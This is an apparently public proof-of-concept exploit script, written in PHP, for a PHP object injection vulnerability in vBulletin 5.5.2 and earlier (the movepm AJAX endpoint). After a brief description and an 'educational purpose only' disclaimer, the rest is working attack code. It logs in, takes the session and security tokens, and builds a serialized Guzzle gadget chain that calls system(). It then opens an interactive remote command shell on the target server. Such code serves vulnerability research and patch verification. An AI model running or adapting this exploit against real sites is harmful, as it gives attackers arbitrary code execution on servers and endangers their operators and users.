vBulletin 5.5.2 PHP Object Injection

<?php/*    --------------------------------------------------------------    vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability    --------------------------------------------------------------        author..............: Egidio Romano aka EgiX    mail................: n0b0d13s[at]gmail[dot]com    software link.......: https://www.vbulletin.com        +-------------------------------------------------------------------------+    | This proof of concept code was written for educational purpose only.    |    | Use it at your own risk. Author will be not responsible for any damage. |    +-------------------------------------------------------------------------+        [-] Vulnerability Description:          User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is    not properly sanitized before being used in a call to the unserialize() PHP function. This can    be exploited by malicious users to inject arbitrary PHP objects into the application scope,    allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.        [-] Technical writeup:    http://karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection*/set_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[+] cURL extension required!\n");print "+------------------------------------------------------------------+";print "\n| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |";print "\n+------------------------------------------------------------------+\n";if ($argc != 4){  print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";  print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";  print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";  die();}class googlelogin_vendor_autoload {} // fake class to include the autoloaderclass GuzzleHttp_HandlerStack{  private $handler, $stack;    function __construct($cmd)  {    $this->stack = [["system"]]; // the callback we want to execute    $this->handler = $cmd; // argument for the callback  }}class GuzzleHttp_Psr7_FnStream{  function __construct($callback)  {    $this->_fn_close = $callback;  }}function make_popchain($cmd){  $pop = new GuzzleHttp_HandlerStack($cmd);  $pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);  $chain = serialize([new googlelogin_vendor_autoload, $pop]);  $chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);  $chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);  $chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);  $chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);    return $chain;}list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];$ch = curl_init();curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, true);print "[+] Logging in with username '{$user}' and password '{$pass}'\n";curl_setopt($ch, CURLOPT_URL, $url);if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found!\n");curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed!\n");print "[+] Logged-in! Retrieving security token\n";curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_POST, false);curl_setopt($ch, CURLOPT_HEADER, false);curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found!\n");$params = ["routestring" => "ajax/api/vb4_private/movepm",           "securitytoken" => $token[1],           "folderid" => 1];print "[+] Launching shell\n";while(1){  print "\nvb-shell# ";  if (($cmd = trim(fgets(STDIN))) == "exit") break;  $params["messageids"] = make_popchain($cmd);  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));  preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");}